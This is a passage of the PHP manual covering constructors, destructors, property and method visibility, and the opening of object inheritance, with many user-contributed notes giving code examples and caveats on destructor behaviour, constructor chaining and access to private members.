        echo 'ParentDestructClass: destructing itself';
        parent::__destruct();
    }
}
#
class EmptyDestructClass extends AncestorClass {
    function __destruct() {
        echo 'EmptyDestructClass: destructing itself';
    }
}
#
class NoDestructClass extends AncestorClass {
}
#---
echo '<hr>';
$p=new ParentDestructClass();
unset($p);
echo '<hr>';
$e=new EmptyDestructClass();
unset($e);
echo '<hr>';
$n=new NoDestructClass();
unset($n);
echo '<hr>';
?>
which displays:
---
ParentDestructClass: destructing itself
AncestorClass: destructing ParentDestructClass
---
EmptyDestructClass: destructing itself
---

AncestorClass: destructing NoDestructClass
---
robert at lax-berlin dot de 12-Nov-2006 12:48
In response to prauscher at gmx dot net:

As tcknetwork wrote earlier, if you try to access a file from a destructor, you have to be aware that you are probably in the webservers root directory, because the destructor already "forgot" what you working directory was. If you try to write a file there, you will probably have no permission to do so.
Read tcknetwork's post for a solution.
maniac_warlord at web dot de 04-Nov-2006 04:50
as reported in bug 34206 the working dir is changed to the server root
the best workaround is
<?php
class Foo
{
    public function bar()
    {
            $this->_cwd = getcwd();
    }

    public function __destruct()
    {
        chdir($this->_cwd);
    }
}
?>
Be aware the booty trap!
http://bugs.php.net/bug.php?id=34206
phaxius 01-Nov-2006 09:23
Hello, I've been messing with php for about a week but am learning a lot.  It occurred to me that it might be necessary in some cases to write a class that takes a variable number of arguments.  After some experimentation, this example was formed:

class variableArgs{
public $a = array();
protected $numOfArgs;
public function __construct()
{
  $numOfArgs=func_num_args();
  if(func_num_args()==0)
  {
    $numOfArgs=1;
    $a[0]='No arguments passed';
    $this->Arg[0]=$a[0];
  }
  else
  for($i=0; $i<func_num_args(); $i++)
  {
    $a[$i]=func_get_arg($i);
    $this->Arg[$i]=$a[$i];
  }
}
public function showArgs()
{
  echo 'showArgs() called <br />';
  for ($i=0; $i<$numOfArgs; $i++)
  {
    echo '$i: ' . $i . '<br />';
    echo $this->Arg[$i];
    echo '<br />';
  }
}
public function __destruct(){}

}

$test1 = new variableArgs;
$test2 = new variableArgs("arg1");
$test3 = new variableArgs("arg1", "arg2");
$test4 = new variableArgs("arg1", "arg2", "arg3");

$test1->showArgs();
$test2->showArgs();
$test3->showArgs();
$test4->showArgs();

This outputs the following:

showArgs() called
$i: 0
No arguments passed
showArgs() called
$i: 0
arg1
showArgs() called
$i: 0
arg1
$i: 1
arg2
showArgs() called
$i: 0
arg1
$i: 1
arg2
$i: 2
arg3

I have no idea how efficient this is, but it works at any rate.  Hopefully this helps someone.
01-Oct-2006 11:03
This is a simple thing to bear in mind but it's also easy to forget it.  When chaining object constructors and destructors, always remember to call the superclass __construct() method in the subclass __construct() so that all superclass members are properly initialized before you start initializing the ones belonging to your subclass.

Also, you will usually want to do your own cleanup first in your subclass __destruct() method so you will probably want to call the superclass __destruct() as the last thing in your subclass so that you can use resources defined in the superclass during the cleanup phase.

For example, if your superclass includes a database connection and your subclass __destruct method commits things to the database then if you call the superclass destruct before doing so then the database connection will no longer be valid and you will be unable to commit your changes.
chanibal at deltasoft dot int dot pl dot SPAMPROTECT 20-Aug-2006 09:56
Note that if a class contains another class, the contained class's destructor will be triggered after the destructor of the containing class.

<?php
class contained {

 protected $parent;

 public function __construct(&$p) {
  # $this->parent=&$p;
  }

 public function __destruct() {
  /* unset $this->parent */
  print 'contained ';
  }
 }

class containing {

 protected $contained;

 public function __construct() {
  $this->contained=new contained($this);
  }

 public function __destruct() {
  // unset($this->contained);
  print 'containing ';
  }
 }

new containing();
?>

Will output
containing contained

After uncommenting the // comment, the output will change to
contained containing

Adding a reference from the contained class to the containing one (the # comment) will not change that, but beware, because it can cause random errors in other destructors in the parts of the script which seem unrelated! (PHP Version 5.1.2)
prauscher at gmx dot net 14-Aug-2006 04:05
I saw no note in the manual about my function. If you want to write a file in a __destruct - function, it will fail with a "Permission denied" Error.
Reza Mahjourian 10-Jul-2006 02:18
Peter has suggested using static methods to compensate for unavailability of multiple constructors in PHP.  This works fine for most purposes, but if you have a class hierarchy and want to delegate parts of initialization to the parent class, you can no longer use this scheme.  It is because unlike constructors, in a static method you need to do the instantiation yourself.  So if you call the parent static method, you will get an object of parent type which you can't continue to initialize with derived class fields.

Imagine you have an Employee class and a derived HourlyEmployee class and you want to be able to construct these objects out of some XML input too.

<?php
class Employee {
   public function __construct($inName) {
       $this->name = $inName;
   }

   public static function constructFromDom($inDom)
   {
       $name = $inDom->name;
       return new Employee($name);
   }

   private $name;
}

class HourlyEmployee extends Employee {
   public function __construct($inName, $inHourlyRate) {
       parent::__construct($inName);
       $this->hourlyRate = $inHourlyRate;
   }

   public static function constructFromDom($inDom)
   {
       // can't call parent::constructFromDom($inDom)
       // need to do all the work here again
       $name = $inDom->name;  // increased coupling
       $hourlyRate = $inDom->hourlyrate;
       return new EmployeeHourly($name, $hourlyRate);
   }

   private $hourlyRate;
}
?>

The only solution is to merge the two constructors in one by adding an optional $inDom parameter to every constructor.
Peter Molnar 18-May-2006 06:24
There were many notes about the inability of defining multiple constructors for the class.

My solution is to define separate static methods for each type of constructor.
<?php
class Vector {
    private $x;
    private $y;

    public function __construct() {
        $this->x = 0;
        $this->y = 0;
    }

    public static function createXY($x, $y) {
        $v = new Vector();
        $v->x = $x;
        $v->y = $y;
        return $v;
    }
}
?>
ckoschmied at web dot de 07-Apr-2006 07:58
Be aware of the fact that if you create a new instance of a class like this:

$instance = new Class();

$instance will not contain a valid reference to the newly created object until the constructor is finished. So don't use $instance while the constructor is still running.

Well, on the other side, why would you want to do it? I wanted to, and it took me some hours to figure out.
Even though it's quite obvious if you think about it :-)
jcaplan at bogus dot amazon dot com 24-Mar-2006 09:52
__construct and __destruct must be declared public in any class that you intend to instantiate with new.   However, in an abstract (or never-instantiated base) class you can declare them private or protected, and subclasses can still refer to them via parent::__construct (!) (tested in PHP 5.1.2).
09-Feb-2006 10:55
(Refering to: caliban at darklock dot com)

To force a constructor always to be called, and still be able to define a constructor on a derived class use the model below. Ideal for module architectures, because you only have to know the file and classname to construct an object.

<?php
class Parameter {}

abstract class BaseClass
{
    protected $param;

    public final function __construct( Parameter $param )
    {
        $this->param = $param;
        $this->pseudoConstruct();
    }

    protected abstract function pseudoConstruct();
}

class ConcreteClass extends BaseClass
{
    protected function pseudoConstruct()
    {
        echo __CLASS__.' constructor';
    }
}

$refl = new ReflectionClass( 'ConcreteClass' );
if( !$refl->isSubclassOf( 'BaseClass' ) ) throw new Exception( 'Invalid base class!' );
$refl->newInstance( new Parameter() );
?>
jochem AT mondrian-it d_o_t nl 30-Jan-2006 04:07
at: derk AT oneindig DOT com

You can achieve identical functionality by doing this:
<?php
class Parent {
   function __construct()
   {
       echo "Parent constructor called\\n";
   }
}

class Child extends Parent {
   function __construct()
   {
       parent::__construct();
       echo " Child 'contructor' called";
   }
}

$c = new Child();
?>
Added advantage is that Parent doesn't need to have the method myConstruct(), and that you're using constructors like they were intended.
developit at mail dot ru 25-Jan-2006 02:32
as [kida at keymail dot it] said you can't weaken a visibility of constructor when extending some class. but suggested trick that uses both old and new constructor namimg syntaxes to weaken visibility from 'protected' to 'public' seems a little bit odd. allthough it works allright. declaring extended class as 'abstract' with 'public' constructor will do quite the same thing in a more elegant manner and without any syntax mess.

<?php
class A
{
  public function __construct()
  {
    //do smth
  }
}

abstract class B extends A
{
  public function __construct()
  {
    parent::__construct();
  }
}
?>

thus, you avoid instanciating class B as if it had a protected contructor
aya at eh dot org 01-Dec-2005 02:20
For those who aren't already aware, PHP5 currently suffers from the classic reference counting leak. See http://en.wikipedia.org/wiki/Reference_counting for more info.

Example code:

<?php

    class Noisy
    {
        private $name;

        public function __construct($name)
        {
            $this->name = $name;
            echo "Noisy::__construct($this->name)\n";
        }

        public function __destruct()
        {
            echo "Noisy::__destruct($this->name)\n";
        }
    }

    function foo($num)
    {
        $noisy = new Noisy($num);
        //$noisy->me = $noisy; // Uncomment this line to create a cyclic reference
    }

    for ($i = 0; $i < 10; ++$i)
        foo($i);

?>

As it stands, the destructor of class 'Noisy' will be called on '$noisy' when it goes out of scope in function 'foo', but uncommenting the second line in function 'foo' will prevent this, and cause a memory leak.

See http://bugs.php.net/bug.php?id=33595 for a bug report, which reads as if this is not likely to get fixed in the near future, so watch out!
derk AT oneindig DOT com 03-Nov-2005 02:02
If a constructor is not present in a child class, php5 will try to call a constructor from the parent class. This behaviour can be used to somewhat simulate constructor chaining.

<?php
abstract class Parent {
    function __construct()
    {
        echo "Parent constructor called\n";
        $this->myConstruct();
    }
}

class Child extends Parent {
    function myConstruct()
    {
        echo " Child 'contructor' called";
    }
}

$c = new Child();
?>

will output:
Parent constructor called
Child 'constructor' called
contact at tcknetwork dot com 21-Sep-2005 12:54
be careful while trying to access files with __destruct() because the base directory (getcwd()) will be the root of your server and not the path of your script, so add before all your path called in __destruct() :
EITHER   dirname($_SERVER["SCRIPT_FILENAME"])."my/path/"
OR      dirname(__FILE__)."my/path/"
         (be careful with includes, it will give the path of the file processed and not the main file)
php dot net at lk2 dot de 13-Aug-2005 09:50
It looks like `echo()`ed output from the __destructor() function is displayed onto screen _before_ other output that the class may have have already sent before.

This can be misleading if you have debug info printed in the destructor but not a problem if you know it.
stanley dot turnteen at gmail dot com 05-Aug-2005 12:43
IMHO using func_get_args() is superior to constructor polymorphism, because you don't have to define constructors for every possible way a class can be initialized.

The pattern I use looks like this;  all you have to do is pass the parameters in the correct order.

<?php

  class Movie
  {
    public $title;
    public $director;
    public $stars;
    public $year_released;

    public function __construct()
    {
      $args = func_get_args();

      foreach(array("title", "director", "stars", "year_released") as $i)
      {
        if(empty($args))
        {
          break;
        }

        $this->$i = array_shift($args);
      }
    }

  }
?>
dominics at gmail dot com 10-Jul-2005 07:12
If you're using E_STRICT error reporting, PHP will tell you if you define both __construct() and an old-style constructor (a function with the same name as the class) together in a class. Note that this occurs even if the old constructor function is abstract or final (for instance, if you were intending to only use it in a sub-class). Be wary of this if you're trying to implement the 'command' design pattern.

The solution? Either turn E_STRICT off (and possibly forgo some other important notices), rename your function (and possibly make things a little more complicated), or look at using an interface.
rocco at bluora dot com dot au 16-Apr-2005 08:29
Before PHP reaches the point where it calls the __destruct functions, it has already done a session_write_close() so you can no longer write anything to the session.

I wanted it to copy some variables from my class into the session once the script had finished but now having to get the last function to call a SaveToSession() function.

In php versions 5.0.2 and 5.0.4
contact at tcknetwork dot com 15-Apr-2005 08:45
Note that php5 use in priority __construct() instead of [classname](). So you could build a constructed/destructed class for php4/5 very easily using this.
<?
class test {
 function test() {
  $this->__construct();
  register_shutdown_function(array($this,"__destruct"));
 }
 function __construct() {
  echo "construct\n";
 }
 function __destruct() {
  echo "destruct\n";
 }
};
$t=new test();
?>
In case you use unset($t) in php4, the destructor is not called. so be careful.
apfelsaft 30-Mar-2005 01:59
at the end of a script all remaining objects aren't in fact destructed. it is only their __destruct() method, which will be called. the objects still exist after that.

so, if your database connection object has no __destruct() or at least it doesn't disconnects the database, it will still work.

in general, there is no need to disconnect the database (especially for persistent connections).
04-Mar-2005 03:48
> To caliban at darklock dot com: Why not just define
> a dummy constructor

Because you don't always get to modify your base classes. Once you get beyond the "build to suit" range of software development, you end up having to work with other people's code, and sometimes you just plain can't change it. When Bob is in charge of making changes to that object, you can't add a dummy constructor. You have to tell Bob to do it, and until Bob does it, you don't get it. So if you want to hit your deadlines, you don't count on Bob caring enough about your job to make the changes you want... you work around it. It might be convenient for *you* to have a constructor on that object, but when you're only one of several thousand people that are using it, your convenience isn't generally among the design criteria.

Smaller projects where you can add whatever you want wherever you want will not have this problem, in which case the dummy constructor is indeed a better solution.
24-Feb-2005 01:08
To caliban at darklock dot com: Why not just define a dummy constructor <?PHP function __construct() {} ?> in the base class? This adds little overhead, and allows you to both extend the class worry-free and later add construct functionality to the base class.

And now, about destructors: I haven't seen this clarified anywhere in the manual, but object destructors are called implicitly at script shutdown for all objects that still exist at that Tpoint. his happens *after* any shutdown functions set with <?PHP register_shutdown_function() ?> have been called.

Objects appear to be destructed in the order they were defined, which means you have to be careful with destruct methods that rely on the functionality of other objects (e.g. on a database-handler) as they will have shut down already.
Autoloading Classes
Visibility
Classes and Objects


Visibility

The visibility of a property or method can be defined by prefixing the declaration with the keywords public, protected or private. Class members declared public can be accessed everywhere. Members declared protected can be accessed only within the class itself and by inherited and parent classes. Members declared as private may only be accessed by the class that defines the member.

Property Visibility

Class properties must be defined as public, private, or protected. If declared using var, the property will be defined as public.

Example #1 Property declaration

<?php
/**
 * Define MyClass
 */
class MyClass
{
    public $public = 'Public';
    protected $protected = 'Protected';
    private $private = 'Private';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj = new MyClass();
echo $obj->public; // Works
echo $obj->protected; // Fatal Error
echo $obj->private; // Fatal Error
$obj->printHello(); // Shows Public, Protected and Private

/**
 * Define MyClass2
 */
class MyClass2 extends MyClass
{
    // We can redeclare the public and protected method, but not private
    protected $protected = 'Protected2';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj2 = new MyClass2();
echo $obj2->public; // Works
echo $obj2->private; // Undefined
echo $obj2->protected; // Fatal Error
$obj2->printHello(); // Shows Public, Protected2, Undefined

?>

Note: The PHP 4 method of declaring a variable with the var keyword is still supported for compatibility reasons (as a synonym for the public keyword). In PHP 5 before 5.1.3, its usage would generate an E_STRICT warning.

Method Visibility

Class methods may be defined as public, private, or protected. Methods declared without any explicit visibility keyword are defined as public.

Example #2 Method Declaration

<?php
/**
 * Define MyClass
 */
class MyClass
{
    // Declare a public constructor
    public function __construct() { }

    // Declare a public method
    public function MyPublic() { }

    // Declare a protected method
    protected function MyProtected() { }

    // Declare a private method
    private function MyPrivate() { }

    // This is public
    function Foo()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate();
    }
}

$myclass = new MyClass;
$myclass->MyPublic(); // Works
$myclass->MyProtected(); // Fatal Error
$myclass->MyPrivate(); // Fatal Error
$myclass->Foo(); // Public, Protected and Private work

/**
 * Define MyClass2
 */
class MyClass2 extends MyClass
{
    // This is public
    function Foo2()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate(); // Fatal Error
    }
}

$myclass2 = new MyClass2;
$myclass2->MyPublic(); // Works
$myclass2->Foo2(); // Public and Protected work, not Private

class Bar
{
    public function test() {
        $this->testPrivate();
        $this->testPublic();
    }

    public function testPublic() {
        echo "Bar::testPublic\n";
    }

    private function testPrivate() {
        echo "Bar::testPrivate\n";
    }
}

class Foo extends Bar
{
    public function testPublic() {
        echo "Foo::testPublic\n";
    }

    private function testPrivate() {
        echo "Foo::testPrivate\n";
    }
}

$myFoo = new foo();
$myFoo->test(); // Bar::testPrivate
                // Foo::testPublic
?>

Visibility from other objects

Objects of the same type will have access to each others private and protected members even though they are not the same instances. This is because the implementation specific details are already known when inside those objects.

Example #3 Accessing private members of the same object type

<?php
class Test
{
    private $foo;

    public function __construct($foo)
    {
        $this->foo = $foo;
    }

    private function bar()
    {
        echo 'Accessed the private method.';
    }

    public function baz(Test $other)
    {
        // We can change the private property:
        $other->foo = 'hello';
        var_dump($other->foo);

        // We can also call the private method:
        $other->bar();
    }
}

$test = new Test('test');

$test->baz(new Test('other'));
?>

The above example will output:

string(5) "hello"
Accessed the private method.

User Contributed Notes

andrew dot feller at gmail dot com 23-Jan-2012 01:10
PHP does not follow Java's "Hiding Variables"[1] technique of overriding public / protected class variables but extends these variables into subclasses as normal.

As mentioned by Mike Lively[2]:

" ... when you redeclare protected and public variables in PHP new spaces in memory are not created, it essentially uses the same space previously occupied by your parent class’ variables. This is not true however for private variables. They will get their own distinct spaces."

REFERENCES
1. http://docs.oracle.com/javase/tutorial/java/IandI/hidevariables.html
2. http://michaelkimsal.com/blog/ppp-php-question-v2-the-humbler-post/comment-page-1/#comment-61325
briank at kappacs dot com 10-Nov-2011 12:20
To make (some) object members read-only outside of the class (revisited using PHP 5 magic __get):

<?php

class ReadOnlyMembers {

    private $reallyPrivate;
    private $justReadOnly;

    function __construct () {
        $this->reallyPrivate = 'secret';
        $this->justReadOnly = 'read only';
    }

    function __get ($what) {
        switch ($what) {
        case 'justReadOnly':
            return $this->$what;

        default:
            # Generate an error, throw an exception, or ...
            return null;
        }
    }

    function __isset ($what) {
        $val = $this->__get($what);
        return isset($val);
    }

}

$rom = new ReadOnlyMembers();

var_dump($rom->justReadOnly);           // string(9) "read only"

$rom->justReadOnly = 'new value';       // Fatal error

var_dump($rom->reallyPrivate);          // Fatal error

?>
php at stage-slash-solutions dot com 10-Jul-2011 03:21
access a protected property:

<?php

//Some library I am not allowed to change:

abstract class a
{
  protected $foo;
}

class aa extends a
{
  function setFoo($afoo)
  {
      $this->foo = $afoo;
  }
}

?>

if you get an instance of aa and need access to $foo:

<?php
class b extends a
{
  function getFoo($ainstance)
  {
      return $ainstance->foo;
  }
}

$aainstance=someexternalfunction();
$binstance=new b;
$aafoo=$binstance->getFoo($aainstance);
?>
Marce! 25-Sep-2009 03:04
Please note that protected methods are also available from sibling classes as long as the method is declared in the common parent. This may also be an abstract method.

In the below example Bar knows about the existence of _test() in Foo because they inherited this method from the same parent. It does not matter that it was abstract in the parent.

<?php
abstract class Base {
    abstract protected function _test();
}

class Bar extends Base {

    protected function _test() { }

    public function TestFoo() {
        $c = new Foo();
        $c->_test();
    }
}

class Foo extends Base {
    protected function _test() {
        echo 'Foo';
    }
}

$bar = new Bar();
$bar->TestFoo(); // result: Foo
?>
imran at phptrack dot com 18-Aug-2009 02:06
Some Method Overriding rules :

1. In the overriding, the method names and arguments (arg’s) must be same.

Example:
class p { public function getName(){} }
class c extends P{ public function getName(){} }

2. final methods can’t be overridden.

3. private methods never participate in the in the overriding because these methods are not visible in the child classes.

Example:
class a {
private  function my(){
    print "parent:my";
}
public function getmy(){
$this->my();
}
}
class b extends a{
    private  function my(){
        print "base:my";
}
}
$x = new b();
$x->getmy(); // parent:my

4. While overriding decreasing access specifier is not allowed

class a {
public  function my(){
    print "parent:my";
}

}
class b extends a{
    private  function my(){
        print "base:my";
}
}
//Fatal error:  Access level to b::my() must be public (as in class a)
a dot schaffhirt at sedna-soft dot de 29-Jun-2009 12:27
If you miss the "package" keyword in PHP in order to allow access between certain classes without their members being public, you can utilize the fact, that in PHP the protected keyword allows access to both subclasses and superclasses.

So you can use this simple pattern:

<?php
    abstract class Dispatcher {
        protected function &accessProperty (self $pObj, $pName) {
            return $pObj->$pName;
        }
        protected function invokeMethod ($pObj, $pName, $pArgs) {
            return call_user_func_array(array($pObj, $pName), $pArgs);
        }
    }
?>

The classes that should be privileged to each other simply extend this dispatcher:

<?php
    class Person extends Dispatcher {
        private $name;
        protected $phoneNumbers;

        public function __construct ($pName) {
            $this->name = $pName;
            $this->phoneNumbers = array();
        }
        public function addNumber (PhoneNumber $pNumber, $pLabel) {
            $this->phoneNumbers[$pLabel] = $pNumber;

            // this does not work, because "owner" is protected:
            // $pNumber->owner = $this;

            // instead, we get a reference from the dispatcher:
            $p =& $this->accessProperty($pNumber, "owner");

            // ... and change that:
            $p = $this;
        }
        public function call ($pLabel) {
            // this does not work since "call" is protected:
            // $this->phoneNumbers[$pLabel]->call();

            // instead, we dispatch the call request:
            $this->invokeMethod($this->phoneNumbers[$pLabel], "call", array());
        }
    }

    class PhoneNumber extends Dispatcher {
        private $countryCode;
        private $areaCode;
        private $number;
        protected $owner;

        public function __construct ($pCountryCode, $pAreaCode, $pNumber) {
            $this->countryCode = $pCountryCode;
            $this->areaCode = $pAreaCode;
            $this->number = $pNumber;
        }

        protected function call () {
            echo("calling " . $this->countryCode . "-" . $this->areaCode . "-" . $this->number . "\n");
        }
    }

    $person = new Person("John Doe");
    $number1 = new PhoneNumber(12, 345, 67890);
    $number2 = new PhoneNumber(34, 5678, 90123);
    $person->addNumber($number1, "home");
    $person->addNumber($number2, "office");
    $person->call("home");
?>

Without this pattern you would have to make $owner and call() public in PhoneNumber.

Best regards,
what at ever dot com 04-Dec-2008 05:15
If you have problems with overriding private methods in extended classes, read this:)

The manual says that "Private limits visibility only to the class that defines the item". That means extended children classes do not see the private methods of parent class and vice versa also.

As a result, parents and children can have different implementations of the "same" private methods, depending on where you call them (e.g. parent or child class instance). Why? Because private methods are visible only for the class that defines them and the child class does not see the parent's private methods. If the child doesn't see the parent's private methods, the child can't override them. Scopes are different. In other words -- each class has a private set of private variables that no-one else has access to.

A sample demonstrating the percularities of private methods when extending classes:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    private function overridden() {
        echo 'base';
    }
}

class child extends base {
    private function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>

Output will be "base".

If you want the inherited methods to use overridden functionality in extended classes but public sounds too loose, use protected. That's what it is for:)

A sample that works as intended:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    protected function overridden() {
        echo 'base';
    }
}

class child extends base {
    protected function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>
Output will be "child".
Jeffrey 09-Oct-2008 05:48
WHEN do I use public, protected or private keyword? Here's the default behavior.
<?php
class Example
{
  /* use PUBLIC on variables and functions when:
   *  1. outside-code SHOULD access this property or function.
   *  2. extending classes SHOULD inherit this property or function.
   */
  public $var1;
  public function someFunction_1() { }

  /* use PROTECTED on variables and functions when:
   *  1. outside-code SHOULD NOT access this property or function.
   *  2. extending classes SHOULD inherit this property or function.
   */
  protected $var2;
  protected function someFunction_2() { }

  /* use PRIVATE on variables and functions when:
   *  1. outside-code SHOULD NOT access this property or function.
   *  2. extending classes SHOULD NOT inherit this property or function.
   */
  private $var3;
  private function someFunction_3() { }
}

# these are the only valid calls outside-code can make on Example objects:
 $obj1 = new Example();      // instantiate
 $var1 = $obj1->var1;        //  get public data
 $obj1->var1 = 35;           //  set public data
 $obj1->someFunction_1();    // call public function
?>

Now try extending the class...

<?php
class Example_2 extends Example
{
  // this class inherits the following properties and functions.
  public $var1;
  public function someFunction_1() { }
  protected $var2;
  protected function someFunction_2() { }
}

# these are the only valid calls outside-code can make on Example_2 objects:
 $obj2 = new Example_2();  // instantiate
 $var2 = $obj2->var1;      //  get public data
 $obj2->var1 = 45;         //  set public data
 $obj2->someFunction_1();  // call public function
?>
wbcarts at juno dot com 10-Sep-2008 02:21
UNDERSTANDING PHP's OBJECT VISIBILITY

Sometimes it's good to see a list of many extended classes, one right after the other - just for the sole purpose of looking at their inherited members. Maybe this will help:

<?php
class MyClass_1{
    public $pubVal = 'Hello World!';
    protected $proVal = 'Hello FROM MyClass_1';
    private $priVal = 'Hello TO MyClass_1';

    public function __toString(){
        return "MyClass_1[public=$this->pubVal, protected=$this->proVal, private=$this->priVal]";
    }
}

class MyClass_2 extends MyClass_1{
    public function __toString(){
        return "MyClass_2[public=$this->pubVal, protected=$this->proVal, private=$this->priVal]";
    }
}

class MyClass_3 extends MyClass_2{
    private $priVal = 'Hello TO MyClass_3';

    public function __toString(){
        return "MyClass_3[public=$this->pubVal, protected=$this->proVal, private=$this->priVal]";
    }
}

class MyClass_4 extends MyClass_3{
    protected $proVal = 'Hello FROM MyClass_4';

    public function __toString(){
        return "MyClass_4[public=$this->pubVal, protected=$this->proVal, private=$this->priVal]";
    }
}

class MyClass_5 extends MyClass_4{
    public function __toString(){
        return "MyClass_5[public=$this->pubVal, protected=$this->proVal, private=$this->priVal]";
    }
}

class MyClass_6 extends MyClass_5{
    private $priVal = 'Hello TO MyClass_6';

    public function __toString(){
        return "MyClass_6[public=$this->pubVal, protected=$this->proVal, private=$this->priVal]";
    }
}

echo (new MyClass_1()) . '<br>';
echo (new MyClass_2()) . '<br>';
echo (new MyClass_3()) . '<br>';
echo (new MyClass_4()) . '<br>';
echo (new MyClass_5()) . '<br>';
echo (new MyClass_6()) . '<br>';
?>

The list of extended objects:

 MyClass_1[public=Hello World!, protected=Hello FROM MyClass_1, private=Hello TO MyClass_1]
 MyClass_2[public=Hello World!, protected=Hello FROM MyClass_1, private=]
 MyClass_3[public=Hello World!, protected=Hello FROM MyClass_1, private=Hello TO MyClass_3]
 MyClass_4[public=Hello World!, protected=Hello FROM MyClass_4, private=]
 MyClass_5[public=Hello World!, protected=Hello FROM MyClass_4, private=]
 MyClass_6[public=Hello World!, protected=Hello FROM MyClass_4, private=Hello TO MyClass_6]

Notice in the class definitions, I made absolutly no attempt to change protected members to private, etc. - that gets too confusing and is not necessary - though I did redeclare a few members with the same var name and visibility strength. One other noteworthy: the output for MyClass_2, there seems to be a private property with value of empty string. Here, $priVal was not inherited from MyClass_1 because it is private in MyClass_1, instead, because of PHP's relaxed syntax, it was actually created right there in MyClass2::__toString() method... not only that, it is not a private member either. Watch out for this kind of thing, as PHP can sometimes give confusing impressions.
omnibus at omnibus dot edu dot pl 13-Dec-2007 06:34
Please note that if a class has a protected variable, a subclass cannot have the same variable redefined private (must be protected or weaker). It seemed to be logical for me as a subsubclass would not know if it could see it or not but even if you declare a subclass to be final the restriction remains.
phpdoc at povaddict dot com dot ar 11-Oct-2007 12:52
Re: ference at super_delete_brose dot co dot uk

"If eval() is the answer, you’re almost certainly asking the wrong question."

<?php
eval('$result = $this->'.$var.';'); //wrong
$result = $this->$var; //right way

$var = "foo";
$this->var = "this will assign to member called 'var'.";
$this->$var = "this will assign to member called 'foo'.";
?>
Joshua Watt 29-May-2007 12:09
I couldn't find this documented anywhere, but you can access protected and private member varaibles in different instance of the same class, just as you would expect

i.e.

<?php
class A
{
    protected $prot;
    private $priv;

    public function __construct($a, $b)
    {
        $this->prot = $a;
        $this->priv = $b;
    }

    public function print_other(A $other)
    {
        echo $other->prot;
        echo $other->priv;
    }
}

class B extends A
{
}

$a = new A("a_protected", "a_private");
$other_a = new A("other_a_protected", "other_a_private");

$b = new B("b_protected", "ba_private");

$other_a->print_other($a); //echoes a_protected and a_private
$other_a->print_other($b); //echoes b_protected and ba_private

$b->print_other($a); //echoes a_protected and a_private
?>
ference at super_delete_brose dot co dot uk 22-May-2007 10:10
Sometimes you may wish to have all members of a class visible to other classes, but not editable - effectively read-only.

In this case defining them as public or protected is no good, but defining them as private is too strict and by convention requires you to write accessor functions.

Here is the lazy way, using one get function for accessing any of the variables:

<?php

class Foo {

  private $a;
  private $b;
  private $c;
  private $d;
  private $e;
  private $f;

  public function __construct() {
    $this->a = 'Value of $a';
    $this->b = 'Value of $b';
    $this->c = 'Value of $c';
    $this->d = 'Value of $d';
    $this->e = 'Value of $e';
    $this->f = 'Value of $f';
  }

  /* Accessor for all class variables. */
  public function get($what) {
    $result = FALSE;
    $vars = array_keys(get_class_vars('Foo'));

    foreach ($vars as $var) {
      if ($what == $var) {
        eval('$result = $this->'.$var.';');
        return $result;
      }
    }
    return $result;
  }
}

class Bar {
  private $a;

  public function __construct() {
    $foo = new Foo();

    var_dump($foo->get('a'));     // results in: string(11) "Value of $a"
  }
}

$bar = new Bar();

?>
nanocaiordo at gmail dot com 08-Apr-2007 06:49
If you always thought how can you use a private method in php4 classes then try the following within your class.

<?php
function private_func($func)
{
    $this->file = __FILE__;
    if (PHPVERS >= 43) {
        $tmp = debug_backtrace();
        for ($i=0; $i<count($tmp); ++$i) {
            if (isset($tmp[$i]['function'][$func])) {
                if ($this->file != $tmp[$i]['file']) {
                    trigger_error('Call to a private method '.__CLASS__.'::'.$func.' in '.$tmp[$i]['file'], E_USER_ERROR);
                }
            }
        }
    }
}
?>

Then inside the private function add:
<?php
function foo() {
    $this->private_func(__FUNCTION__);
    # your staff goes here
}
?>
stephane at harobed dot org 23-Aug-2006 02:22
A class A static public function can access to class A private function :

<?php
class A {
    private function foo()
    {
        print("bar");
    }

    static public function bar($a)
    {
        $a->foo();
    }
}

$a = new A();

A::bar($a);
?>

It's working.
kakugo at kakugo dot com 13-Jul-2006 03:19
This refers to previous notes on protected members being manipulated externally:

It is obvious that if you were to allow methods the option of replacing protected variables with external ones it will be possible, but there is no reason not to simply use a protected method to define these, or not to write the code to allow it. Just because it is possible doesn't mean it's a problem, it simply does not allow you to be lax on the security of the class.
r dot wilczek at web-appz dot de 05-Jan-2006 05:11
Beware: Visibility works on a per-class-base and does not prevent instances of the same class accessing each others properties!

<?php
class Foo
{
    private $bar;

    public function debugBar(Foo $object)
    {
        // this does NOT violate visibility although $bar is private
        echo $object->bar, "\n";
    }

    public function setBar($value)
    {
        // Neccessary method, for $bar is invisible outside the class
        $this->bar = $value;
    }

    public function setForeignBar(Foo $object, $value)
    {
        // this does NOT violate visibility!
        $object->bar = $value;
    }
}

$a = new Foo();
$b = new Foo();
$a->setBar(1);
$b->setBar(2);
$a->debugBar($b);        // 2
$b->debugBar($a);        // 1
$a->setForeignBar($b, 3);
$b->setForeignBar($a, 4);
$a->debugBar($b);        // 3
$b->debugBar($a);        // 4
?>
gugglegum at gmail dot com 02-Sep-2005 03:14
Private visibility actually force members to be not inherited instead of limit its visibility. There is a small nuance that allows you to redeclare private member in child classes.

<?php

class A
{
private $prop = 'I am property of A!';
}

class B extends A
{
public $prop = 'I am property of B!';
}

$b = new B();
echo $b->prop; // "I am property of B!"

?>
Miguel <miguel at lugopolis dot net> 21-Jul-2005 08:10
A note about private members, the doc says "Private limits visibility only to the class that defines the item" this says that the following code works as espected:

<?php
class A {
    private $_myPrivate="private";

    public function showPrivate()
    {
        echo $this->_myPrivate."\n";
    }
}

class B extends A {
    public function show()
    {
        $this->showPrivate();
    }
}

$obj=new B();
$obj->show(); // shows "private\n";
?>

this works cause A::showPrivate() is defined in the same class as $_myPrivate and has access to it.
Constructors and Destructors
Object Inheritance
Classes and Objects


Object Inheritance

Inheritance is a well-established programming principle, and PHP makes use of this principle in its object model. This principle will affect the way many classes and objects relate to one another.

For example, when you extend a class, the subclass inherits all of the public and protected methods from the parent class. Unless a class overrides those methods, they will retain their original functionality.

